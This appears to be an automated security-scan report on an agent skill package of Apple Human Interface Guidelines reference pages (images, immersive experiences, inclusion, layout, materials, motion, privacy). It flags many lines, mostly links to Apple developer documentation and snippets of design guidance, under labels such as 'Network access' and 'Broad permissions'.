skills/hig-foundations/references/images.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Images | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/images - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/images - Network accessline 9
 - Network accessline 19
1x (10x10 px) - Network accessline 21
2x (20x20 px) - Network accessline 23
3x (30x30 px) - Network accessline 25
**Provide high-resolution assets for all bitmap images in your app, for every device you support.** As you add each image to your project’s asset catalog, identify its scale factor by appending “@1x,” “@2x,” or “@3x” to its filename. Use th - Network accessline 29
iPadOS, watchOS| @2x iOS| @2x and @3x visionOS| @2x or higher (see [visionOS](https://developer.apple.com/design/human-interface-guidelines/images#visionOS)) - Network accessline 30
iOS| @2x and @3x visionOS| @2x or higher (see [visionOS](https://developer.apple.com/design/human-interface-guidelines/images#visionOS)) macOS, tvOS| @1x and @2x - Network accessline 31
visionOS| @2x or higher (see [visionOS](https://developer.apple.com/design/human-interface-guidelines/images#visionOS)) - Network accessline 36
## [Formats](https://developer.apple.com/design/human-interface-guidelines/images#Formats) - Network accessline 48
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/images#Best-practices) - Network accessline 50
**Include a color profile with each image.** Color profiles help ensure that your app’s colors appear as intended on different displays. For guidance, see [Color management](https://developer.apple.com/design/human-interface-guidelines/colo - Network accessline 54
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/images#Platform-considerations) - Network accessline 58
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/images#tvOS) - Network accessline 62
#### [Parallax effect](https://developer.apple.com/design/human-interface-guidelines/images#Parallax-effect) - Network accessline 74
#### [Layered images](https://developer.apple.com/design/human-interface-guidelines/images#Layered-images) - Network accessline 80
Your tvOS [app icon](https://developer.apple.com/design/human-interface-guidelines/app-icons#tvOS) must use a layered image. For other focusable images in your app, including [Top Shelf](https://developer.apple.com/design/human-interface-gu - Network accessline 82
You can embed layered images in your app or retrieve them from a content server at runtime. For guidance on adding layered images to your app, see the [Parallax Previewer User Guide](https://help.apple.com/itc/parallaxpreviewer/). - Network accessline 88
**Use standard interface elements to display layered images.** If you use standard views and system-provided focus APIs — such as [`FocusState`](https://developer.apple.com/documentation/SwiftUI/FocusState) — layered images automatically ge - Network accessline 98
**Leave a safe zone around the foreground layers of your image.** When focused, content on some layers may be cropped as the layered image scales and moves. To ensure that essential content is always visible, keep it within a safe zone. For - Network accessline 100
**Always preview layered images.** To ensure your layered images look great on Apple TV, preview them throughout your design process using Xcode, the Parallax Previewer app for macOS, or the Parallax Exporter plug-in for Adobe Photoshop. Pa - Network accessline 102
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/images#visionOS) - Network accessline 106
**Create a layered app icon.** App icons in visionOS are composed of two to three layers that provide the appearance of depth by moving at subtly different rates when the icon is in focus. For guidance, see [Layer design](https://developer. - Network accessline 108
**Prefer vector-based art for 2D images.** Avoid bitmap content because it might not look good when the system scales it up. If you use Core Animation layers, see [Drawing sharp layer-based content in visionOS](https://developer.apple.com/d - Network accessline 110
**If you need to use rasterized images, balance quality with performance as you choose a resolution.** Although a @2x image looks fine at common viewing distances, its fixed resolution means that the system doesn’t dynamically scale it and - Network accessline 112
#### [Spatial photos and spatial scenes](https://developer.apple.com/design/human-interface-guidelines/images#Spatial-photos-and-spatial-scenes) - Network accessline 114
In addition to 2D and stereoscopic images, visionOS apps and games can use RealityKit to display spatial photos and spatial scenes. A _spatial photo_ is a stereoscopic photo with additional spatial metadata, as captured on iPhone 15 Pro or - Network accessline 118
**Prefer the feathered glass background effect to display text over spatial photos.** If you need to place text over a spatial photo in your app or game, use the feathered glass background effect. The effect adds contrast to make the text r - Network accessline 120
**Take visual comfort into consideration when you make spatial photos from existing 2D content.** When adjusting the spatial metadata of a photo for your app or game, consider how you want people to view your content. Metadata like disparit - Network accessline 130
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/images#watchOS) - Network accessline 146
## [Resources](https://developer.apple.com/design/human-interface-guidelines/images#Resources) - Network accessline 148
#### [Related](https://developer.apple.com/design/human-interface-guidelines/images#Related) - Network accessline 150
[Apple Design Resources](https://developer.apple.com/design/resources/) - Network accessline 152
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/images#Developer-documentation) - Network accessline 154
[Drawing sharp layer-based content in visionOS](https://developer.apple.com/documentation/visionOS/drawing-sharp-layer-based-content) — visionOS - Network accessline 156
[Images](https://developer.apple.com/documentation/SwiftUI/Images) — SwiftUI - Network accessline 158
[`UIImageView`](https://developer.apple.com/documentation/UIKit/UIImageView) — UIKit - Network accessline 160
[`NSImageView`](https://developer.apple.com/documentation/AppKit/NSImageView) — AppKit - Network accessline 162
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/images#Videos) - Network accessline 164
[ Support HDR images in your app ](https://developer.apple.com/videos/play/wwdc2023/ - Network accessline 166
[ Get Started with Display P3 ](https://developer.apple.com/videos/play/wwdc2017/821) - Network accessline 168
## [Change log](https://developer.apple.com/design/human-interface-guidelines/images#Change-log)
skills/hig-foundations/references/immersive-experiences.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Immersive experiences | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/immersive-experiences - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/immersive-experiences - Network accessline 9
 - Network accessline 17
People can also use the [Digital Crown](https://developer.apple.com/design/human-interface-guidelines/digital-crown) at any time to manage app or game content or adjust passthrough. For example, people can press and hold the Digital Crown t - Network accessline 21
### [Immersion styles](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Immersion-styles) - Network accessline 23
When your app or game transitions to a Full Space, the system hides other apps so people can focus on yours. In a Full Space, you can display 3D content that isn’t bound by a window, in addition to content in standard windows and volumes. F - Network accessline 27
* **Use dimmed passthrough to bring attention to your content.** You can subtly dim or tint passthrough and other visible content to bring attention to your app in the Shared Space without hiding other apps and games, or create a more focus - Network accessline 37
 - Network accessline 39
 - Network accessline 41
* **Create unbounded 3D experiences.** Use the `mixed` immersion style in a Full Space to blend your content with passthrough. When your app or game runs in a Full Space, you can request access to information about nearby physical objects a - Network accessline 43
* **Use`progressive` immersion to blend your custom environment with a person’s surroundings.** You can use the `progressive` style in a Full Space to display a custom environment that partially replaces passthrough. You can also define a s - Network accessline 54
* **Use`full` immersion to create a fully immersive experience.** You can use the `full` style in a Full Space to display a 360-degree custom environment that completely replaces passthrough and transports people to a new place. As with the - Network accessline 65
Mixed immersi - Network accessline 67
P - Network accessline 69
Full immersion - Network accessline 71
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Best-practices) - Network accessline 73
**Offer multiple ways to use your app or game.** In addition to giving people the freedom to choose their experiences, it’s essential to design your software to support the accessibility features people use to personalize the ways they inte - Network accessline 79
**Help people engage with key moments in your app or game, regardless of the level of immersion.** Cues like dimming, tinting, [motion](https://developer.apple.com/design/human-interface-guidelines/motion), [scale](https://developer.apple.c - Network accessline 81
**Prefer subtle tint colors for passthrough.** In visionOS 2 and later, you can tint passthrough to help a person’s surroundings visually coordinate with your content, while also making their hands look like they belong in your experience. - Network accessline 83
## [Promoting comfort](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Promoting-comfort) - Network accessline 85
**Be mindful of people’s visual comfort.** For example, although you can place 3D content anywhere while your app or game is running in a Full Space, prefer placing it within people’s [field of view](https://developer.apple.com/design/human - Network accessline 93
**Adopt ARKit if you want to blend custom content with someone’s surroundings.** For example, you might want to integrate virtual content into someone’s surroundings or use the wearer’s hand positions to inform your experience. If you need - Network accessline 95
## [Transitioning between immersive styles](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Transitioning-between-immersive-styles) - Network accessline 97
**Design smooth, predictable transitions when changing immersion.** Help people prepare for different experiences by providing gentle transitions that let people visually track changes. Avoid sudden, jarring transitions that might be disori - Network accessline 103
## [Displaying virtual hands](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Displaying-virtual-hands) - Network accessline 113
## [Creating an environment](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Creating-an-environment) - Network accessline 121
**Keep animation subtle.** Small, gentle movements, like clouds drifting or transforming, can enrich your custom environment without distracting people or making them uncomfortable. Always avoid displaying too much movement near the edges o - Network accessline 125
**Use Spatial Audio to create atmosphere.** In visionOS, you use Spatial Audio to play sound that people can perceive as coming from specific locations in space, not just from speakers (for guidance, see [Playing audio](https://developer.ap - Network accessline 133
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Platform-considerations) - Network accessline 137
## [Resources](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Resources) - Network accessline 139
#### [Related](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Related) - Network accessline 141
[Spatial layout](https://developer.apple.com/design/human-interface-guidelines/spatial-layout) - Network accessline 143
[Motion](https://developer.apple.com/design/human-interface-guidelines/motion) - Network accessline 145
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Developer-documentation) - Network accessline 147
[Creating fully immersive experiences in your app](https://developer.apple.com/documentation/visionOS/creating-fully-immersive-experiences) — visionOS - Network accessline 149
[Incorporating real-world surroundings in an immersive experience](https://developer.apple.com/documentation/visionOS/incorporating-real-world-surroundings-in-an-immersive-experience) — visionOS - Network accessline 151
[`ImmersionStyle`](https://developer.apple.com/documentation/SwiftUI/ImmersionStyle) — visionOS - Network accessline 153
[Immersive spaces](https://developer.apple.com/documentation/SwiftUI/Immersive-spaces) — SwiftUI - Network accessline 155
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Videos) - Network accessline 157
[ Principles of spatial design ](https://developer.apple.com/videos/play/wwdc2023/10 - Network accessline 159
[ Design spatial SharePlay experiences ](https://developer.apple.com/videos/play/wwd - Network accessline 161
[ Create custom environments for your immersive apps in visionOS ](https://developer - Network accessline 163
## [Change log](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Change-log)
skills/hig-foundations/references/inclusion.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Inclusion | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/inclusion - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/inclusion - Network accessline 9
 - Network accessline 52
## [Welcoming language](https://developer.apple.com/design/human-interface-guidelines/inclusion#Welcoming-language) - Network accessline 64
**Consider carefully before including humor.** Humor is highly subjective and — similar to colloquial expressions — difficult to translate from one culture to another. Including humor in your experience risks confusing people who donʼt unde - Network accessline 66
## [Being approachable](https://developer.apple.com/design/human-interface-guidelines/inclusion#Being-approachable) - Network accessline 70
* Present a clear, straightforward interface. To help you design a simple interface that fits in with other experiences on each platform, see [Designing for iOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-io - Network accessline 72
* Build in ways to learn how to use your app or game. Consider designing an onboarding flow that helps people who are new to your experience take a step-by-step approach while letting others skip straight to the content they want. For guida - Network accessline 77
## [Gender identity](https://developer.apple.com/design/human-interface-guidelines/inclusion#Gender-identity) - Network accessline 87
person.crop.circle - Network accessline 89
figure.wave - Network accessline 95
## [People and settings](https://developer.apple.com/design/human-interface-guidelines/inclusion#People-and-settings) - Network accessline 103
## [Avoiding stereotypes](https://developer.apple.com/design/human-interface-guidelines/inclusion#Avoiding-stereotypes) - Network accessline 133
## [Accessibility](https://developer.apple.com/design/human-interface-guidelines/inclusion#Accessibility) - Network accessline 152
**Take a people-first approach when writing about people with disabilities.** For example, you could describe an individual’s accomplishments and goals before mentioning a disability they may have. If you’re writing about a specific person - Network accessline 156
To learn more about making your app or game accessible, see [Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility). - Network accessline 158
## [Languages](https://developer.apple.com/design/human-interface-guidelines/inclusion#Languages) - Network accessline 160
People expect to customize their device by choosing a language for text and a region for formatting values like date, time, and money. To welcome a global audience, first prepare your software to handle languages and regions other than your - Network accessline 162
Creating an inclusive experience can also help you prepare for localization. For example, using plain language, avoiding unnecessary gender references, representing a variety of people, and avoiding stereotypes and culture-specific content, - Network accessline 166
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/inclusion#Platform-considerations) - Network accessline 170
## [Resources](https://developer.apple.com/design/human-interface-guidelines/inclusion#Resources) - Network accessline 172
#### [Related](https://developer.apple.com/design/human-interface-guidelines/inclusion#Related) - Network accessline 174
[Writing inclusively](https://help.apple.com/applestyleguide/#/apdcb2a65d68) - Network accessline 176
[Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility) - Network accessline 178
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/inclusion#Developer-documentation) - Network accessline 180
[Localization](https://developer.apple.com/documentation/Xcode/localization) — Xcode - Network accessline 182
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/inclusion#Videos) - Network accessline 184
[ Principles of inclusive app design ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 186
[ The practice of inclusive design ](https://developer.apple.com/videos/play/wwdc2021/10275) - Network accessline 188
[ The process of inclusive design ](https://developer.apple.com/videos/play/wwdc2021/10304)
skills/hig-foundations/references/layout.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Layout | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/layout - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/layout - Network accessline 9
. - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/layout#Best-practices) - Network accessline 23
When your content doesn’t span the full window, use a background extension view to provide the appearance of content behind the control layer on either side of the screen, such as beneath the sidebar or inspector. For developer guidance, se - Network accessline 25
 - Network accessline 29
**Differentiate controls from content.** Take advantage of the Liquid Glass material to provide a distinct appearance for controls that’s consistent across iOS, iPadOS, and macOS. Instead of a background, use a scroll edge effect to provide - Network accessline 31
**Place items to convey their relative importance.** People often start by viewing items in reading order — that is, from top to bottom and from the leading to trailing side — so it generally works well to place the most important items nea - Network accessline 35
**Take advantage of progressive disclosure to help people discover content that’s currently hidden.** For example, if you can’t display all the items in a large collection at once, you need to indicate that there are additional items that a - Network accessline 37
**Make controls easier to use by providing enough space around them and grouping them in logical sections.** If unrelated controls are too close together — or if other content crowds them — they can be difficult for people to tell apart or - Network accessline 39
## [Adaptability](https://developer.apple.com/design/human-interface-guidelines/layout#Adaptability) - Network accessline 62
**Be prepared for text-size changes.** People appreciate apps and games that respond when they choose a different text size. When you support [Dynamic Type](https://developer.apple.com/design/human-interface-guidelines/typography#Supporting - Network accessline 66
**When necessary, scale artwork in response to display changes.** For example, viewing your app or game in a different context — such as on a screen with a different aspect ratio — might make your artwork appear cropped, letterboxed, or pil - Network accessline 68
## [Guides and safe areas](https://developer.apple.com/design/human-interface-guidelines/layout#Guides-and-safe-areas) - Network accessline 70
A _layout guide_ defines a rectangular region that helps you position, align, and space your content on the screen. The system includes predefined layout guides that make it easy to apply standard margins around content and restrict the wid - Network accessline 72
A _safe area_ defines the area within a view that isn’t covered by a toolbar, tab bar, or other views a window might provide. Safe areas are essential for avoiding a device’s interactive and display features, like Dynamic Island on iPhone o - Network accessline 76
For templates that include the guides and safe areas for each platform, see [Apple Design Resources](https://developer.apple.com/design/resources/). - Network accessline 78
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/layout#Platform-considerations) - Network accessline 80
### [iOS](https://developer.apple.com/design/human-interface-guidelines/layout#iOS) - Network accessline 90
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/layout#iPadOS) - Network accessline 92
People can freely resize windows down to a minimum width and height, similar to window behavior in macOS. It’s important to account for this resizing behavior and the full range of possible window sizes when designing your layout. For guida - Network accessline 94
**As someone resizes a window, defer switching to a compact view for as long as possible.** Design for a full-screen view first, and only switch to a compact view when a version of the full layout no longer fits. This helps the UI feel more - Network accessline 98
**Consider a convertible tab bar for adaptive navigation.** For many apps, you don’t need to choose between a tab bar or sidebar for navigation; instead, you can adopt a style of tab bar that provides both. The app first launches with your - Network accessline 100
### [macOS](https://developer.apple.com/design/human-interface-guidelines/layout#macOS) - Network accessline 104
**Avoid displaying content within the camera housing at the top edge of the window.** For developer guidance, see [`NSPrefersDisplaySafeAreaCompatibilityMode`](https://developer.apple.com/documentation/BundleResources/Information-Property-L - Network accessline 106
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/layout#tvOS) - Network accessline 112
 - Network accessline 118
#### [Grids](https://developer.apple.com/design/human-interface-guidelines/layout#Grids) - Network accessline 122
If you use the UIKit collection view flow element, the number of columns in a grid is automatically determined based on the width and spacing of your content. For developer guidance, see [`UICollectionViewFlowLayout`](https://developer.appl - Network accessline 135
 - Network accessline 145
 - Network accessline 155
 - Network accessline 165
 - Network accessline 175
 - Network accessline 185
 - Network accessline 195
 - Network accessline 205
 - Network accessline 207
#### [Nine-column grid](https://developer.apple.com/design/human-interface-guidelines/layout#Nine-column-grid) - Network accessline 221
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/layout#visionOS) - Network accessline 223
The guidance below can help you lay out content within the windows of your visionOS app or game, making it feel familiar and easy to use. For guidance on displaying windows in space and best practices for using depth, scale, and field of vi - Network accessline 233
**If you need to display additional controls that don’t belong within a window, use an ornament.** An ornament lets you offer app controls that remain visually associated with a window without interfering with the system-provided controls. - Network accessline 235
**Make a window’s interactive components easy for people to look at.** You need to include enough space around an interactive component so that visually identifying it is easy and comfortable, and to prevent the system-provided hover effect - Network accessline 237
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/layout#watchOS) - Network accessline 241
 - Network accessline 247
**Support autorotation in views people might want to show others.** When people flip their wrist away, apps typically respond to the motion by sleeping the display, but in some cases it makes sense to autorotate the content. For example, a - Network accessline 249
## [Specifications](https://developer.apple.com/design/human-interface-guidelines/layout#Specifications) - Network accessline 251
### [iOS, iPadOS device screen dimensions](https://developer.apple.com/design/human-interface-guidelines/layout#iOS-iPadOS-device-screen-dimensions) - Network accessline 315
All scale factors in the table above are UIKit scale factors, which may differ from native scale factors. For developer guidance, see [`scale`](https://developer.apple.com/documentation/UIKit/UIScreen/scale) and [`nativeScale`](https://deve - Network accessline 317
### [iOS, iPadOS device size classes](https://developer.apple.com/design/human-interface-guidelines/layout#iOS-iPadOS-device-size-classes) - Network accessline 319
A size class is a value that’s either regular or compact, where _regular_ refers to a larger screen or a screen in landscape orientation and _compact_ refers to a smaller screen or a screen in portrait orientation. For developer guidance, s - Network accessline 374
### [watchOS device screen dimensions](https://developer.apple.com/design/human-interface-guidelines/layout#watchOS-device-screen-dimensions) - Network accessline 389
## [Resources](https://developer.apple.com/design/human-interface-guidelines/layout#Resources) - Network accessline 391
#### [Related](https://developer.apple.com/design/human-interface-guidelines/layout#Related) - Network accessline 393
[Right to left](https://developer.apple.com/design/human-interface-guidelines/right-to-left) - Network accessline 395
[Spatial layout](https://developer.apple.com/design/human-interface-guidelines/spatial-layout) - Network accessline 397
[Layout and organization](https://developer.apple.com/design/human-interface-guidelines/layout-and-organization) - Network accessline 399
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/layout#Developer-documentation) - Network accessline 401
[Composing custom layouts with SwiftUI](https://developer.apple.com/documentation/SwiftUI/composing-custom-layouts-with-swiftui) — SwiftUI - Network accessline 403
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/layout#Videos) - Network accessline 405
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 407
[ Compose custom layouts with SwiftUI ](https://developer.apple.com/videos/play/wwdc2022/10056) - Network accessline 409
[ Essential Design Principles ](https://developer.apple.com/videos/play/wwdc2017/802) - Network accessline 411
## [Change log](https://developer.apple.com/design/human-interface-guidelines/layout#Change-log)
skills/hig-foundations/references/materials.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Materials | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/materials - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/materials - Network accessline 9
 is a dynamic material that unifies the design languag - Network accessline 15
## [Liquid Glass](https://developer.apple.com/design/human-interface-guidelines/materials#Liquid-Glass) - Network accessline 19
**Don’t use Liquid Glass in the content layer.** Liquid Glass works best when it provides a clear distinction between interactive elements and content, and including it in the content layer can result in unnecessary complexity and a confusi - Network accessline 21
**Use Liquid Glass effects sparingly.** Standard components from system frameworks pick up the appearance and behavior of this material automatically. If you apply Liquid Glass effects to a custom control, do so sparingly. Liquid Glass seek - Network accessline 23
**Only use clear Liquid Glass for components that appear over visually rich backgrounds.** Liquid Glass provides two variants — [`regular`](https://developer.apple.com/documentation/SwiftUI/Glass/regular) and [`clear`](https://developer.app - Network accessline 27
. - Network accessline 44
For guidance about the use of color, see [Liquid Glass color](https://developer.apple.com/design/human-interface-guidelines/color#Liquid-Glass-color). - Network accessline 46
## [Standard materials](https://developer.apple.com/design/human-interface-guidelines/materials#Standard-materials) - Network accessline 48
Use standard materials and effects — such as [blur](https://developer.apple.com/documentation/UIKit/UIBlurEffect), [vibrancy](https://developer.apple.com/documentation/UIKit/UIVibrancyEffect), and [blending modes](https://developer.apple.co - Network accessline 52
**Help ensure legibility by using vibrant colors on top of materials.** When you use system-defined vibrant colors, you don’t need to worry about colors seeming too dark, bright, saturated, or low contrast in different contexts. Regardless - Network accessline 54
 - Network accessline 58
 - Network accessline 71
For developer guidance, see [`Material`](https://developer.apple.com/documentation/SwiftUI/Material). - Network accessline 73
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/materials#Platform-considerations) - Network accessline 75
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/materials#iOS-iPadOS) - Network accessline 79
 and [`ultraThin`](https: - Network accessline 91
* [`UIVibrancyEffectStyle.label`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/label) (default) - Network accessline 93
* [`UIVibrancyEffectStyle.secondaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/secondaryLabel) - Network accessline 95
* [`UIVibrancyEffectStyle.tertiaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/tertiaryLabel) - Network accessline 97
* [`UIVibrancyEffectStyle.quaternaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/quaternaryLabel) - Network accessline 104
* [`UIVibrancyEffectStyle.fill`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/fill) (default) - Network accessline 106
* [`UIVibrancyEffectStyle.secondaryFill`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/secondaryFill) - Network accessline 108
* [`UIVibrancyEffectStyle.tertiaryFill`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/tertiaryFill) - Network accessline 113
The system provides a single, default vibrancy value for a [separator](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/separator), which works well on all materials. - Network accessline 115
### [macOS](https://developer.apple.com/design/human-interface-guidelines/materials#macOS) - Network accessline 117
macOS provides several standard materials with designated purposes, and vibrant versions of all [system colors](https://developer.apple.com/design/human-interface-guidelines/color#Specifications). For developer guidance, see [`NSVisualEffec - Network accessline 121
**Choose a background blending mode that complements your interface design.** macOS defines two modes that blend background content: behind window and within window. For developer guidance, see [`NSVisualEffectView.BlendingMode`](https://de - Network accessline 123
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/materials#tvOS) - Network accessline 127
| Full-screen views that require a light color scheme - Network accessline 132
---|--- [`ultraThin`](https://developer.apple.com/documentation/SwiftUI/Material/ultraThin)| Full-screen views that require a light color scheme [`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin)| Overlay views th - Network accessline 133
[`ultraThin`](https://developer.apple.com/documentation/SwiftUI/Material/ultraThin)| Full-screen views that require a light color scheme - Network accessline 134
[`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin)| Overlay views that partially obscure onscreen content and require a light color scheme - Network accessline 135
[`regular`](https://developer.apple.com/documentation/SwiftUI/Material/regular)| Overlay views that partially obscure onscreen content - Network accessline 136
[`thick`](https://developer.apple.com/documentation/SwiftUI/Material/thick)| Overlay views that partially obscure onscreen content and require a dark color scheme - Network accessline 138
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/materials#visionOS) - Network accessline 154
 - Network accessline 158
 - Network accessline 164
* The [`thin`](https://developer.apple.com/documentation/SwiftUI/Material/thin) material brings attention to interactive elements like buttons and selected items. - Network accessline 166
* The [`regular`](https://developer.apple.com/documentation/SwiftUI/Material/regular) material can help you visually separate sections of your app, like a sidebar or a grouped table view. - Network accessline 168
* The [`thick`](https://developer.apple.com/documentation/SwiftUI/Material/thick) material lets you create a dark element that remains visually distinct when it’s on top of an area that uses a `regular` background. - Network accessline 173
 for standard text. - Network accessline 181
* Use [`UIVibrancyEffectStyle.secondaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/secondaryLabel) for descriptive text like footnotes and subtitles. - Network accessline 183
* Use [`UIVibrancyEffectStyle.tertiaryLabel`](https://developer.apple.com/documentation/UIKit/UIVibrancyEffectStyle/tertiaryLabel) for inactive elements, and only when text doesn’t need high legibility. - Network accessline 188
 - Network accessline 198
 - Network accessline 202
#### [Related](https://developer.apple.com/design/human-interface-guidelines/materials#Related) - Network accessline 204
[Color](https://developer.apple.com/design/human-interface-guidelines/color) - Network accessline 206
[Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility) - Network accessline 208
[Dark Mode](https://developer.apple.com/design/human-interface-guidelines/dark-mode) - Network accessline 210
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/materials#Developer-documentation) - Network accessline 212
[Adopting Liquid Glass](https://developer.apple.com/documentation/TechnologyOverviews/adopting-liquid-glass) - Network accessline 214
[`glassEffect(_:in:)`](https://developer.apple.com/documentation/SwiftUI/View/glassEffect\(_:in:\)) — SwiftUI - Network accessline 216
[`Material`](https://developer.apple.com/documentation/SwiftUI/Material) — SwiftUI - Network accessline 218
[`UIVisualEffectView`](https://developer.apple.com/documentation/UIKit/UIVisualEffectView) — UIKit - Network accessline 220
[`NSVisualEffectView`](https://developer.apple.com/documentation/AppKit/NSVisualEffectView) — AppKit - Network accessline 222
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/materials#Videos) - Network accessline 224
[ Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219) - Network accessline 226
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 228
## [Change log](https://developer.apple.com/design/human-interface-guidelines/materials#Change-log)
skills/hig-foundations/references/motion.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Motion | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/motion - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/motion - Network accessline 9
 - Network accessline 19
**Make motion optional.** Not everyone can or wants to experience the motion in your app or game, so it’s essential to avoid using it as the only way to communicate important information. To help everyone enjoy your app or game, supplement - Network accessline 21
## [Providing feedback](https://developer.apple.com/design/human-interface-guidelines/motion#Providing-feedback) - Network accessline 31
**Consider using animated symbols where it makes sense.** When you use SF Symbols 5 or later, you can apply animations to SF Symbols or custom symbols. For guidance, see [Animations](https://developer.apple.com/design/human-interface-guidel - Network accessline 33
## [Leveraging platform capabilities](https://developer.apple.com/design/human-interface-guidelines/motion#Leveraging-platform-capabilities) - Network accessline 39
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/motion#Platform-considerations) - Network accessline 43
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/motion#visionOS) - Network accessline 45
In addition to subtly communicating context, drawing attention to information, and enriching immersive experiences, motion in visionOS can combine with [depth](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Dep - Network accessline 49
**Help people remain comfortable when showing the movement of large virtual objects.** If an object is large enough to fill a lot of the [field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of-v - Network accessline 63
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/motion#watchOS) - Network accessline 65
SwiftUI provides a powerful and streamlined way to add motion to your app. If you need to use WatchKit to animate layout and appearance changes — or create animated image sequences — see [`WKInterfaceImage`](https://developer.apple.com/docu - Network accessline 71
## [Resources](https://developer.apple.com/design/human-interface-guidelines/motion#Resources) - Network accessline 73
#### [Related](https://developer.apple.com/design/human-interface-guidelines/motion#Related) - Network accessline 75
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 77
[Accessibility](https://www.apple.com/accessibility/) - Network accessline 79
[Spatial layout](https://developer.apple.com/design/human-interface-guidelines/spatial-layout) - Network accessline 81
[Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences) - Network accessline 83
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/motion#Developer-documentation) - Network accessline 85
[Animating views and transitions](https://developer.apple.com/tutorials/SwiftUI/animating-views-and-transitions) — SwiftUI - Network accessline 87
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/motion#Videos) - Network accessline 89
[ Enhance your UI animations and transitions ](https://developer.apple.com/videos/pl - Network accessline 91
[ Create custom visual effects with SwiftUI ](https://developer.apple.com/videos/pla - Network accessline 93
[ Design considerations for vision and motion ](https://developer.apple.com/videos/p - Network accessline 95
## [Change log](https://developer.apple.com/design/human-interface-guidelines/motion#Change-log)
skills/hig-foundations/references/privacy.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Privacy | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/privacy - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/privacy - Network accessline 9
 - Network accessline 23
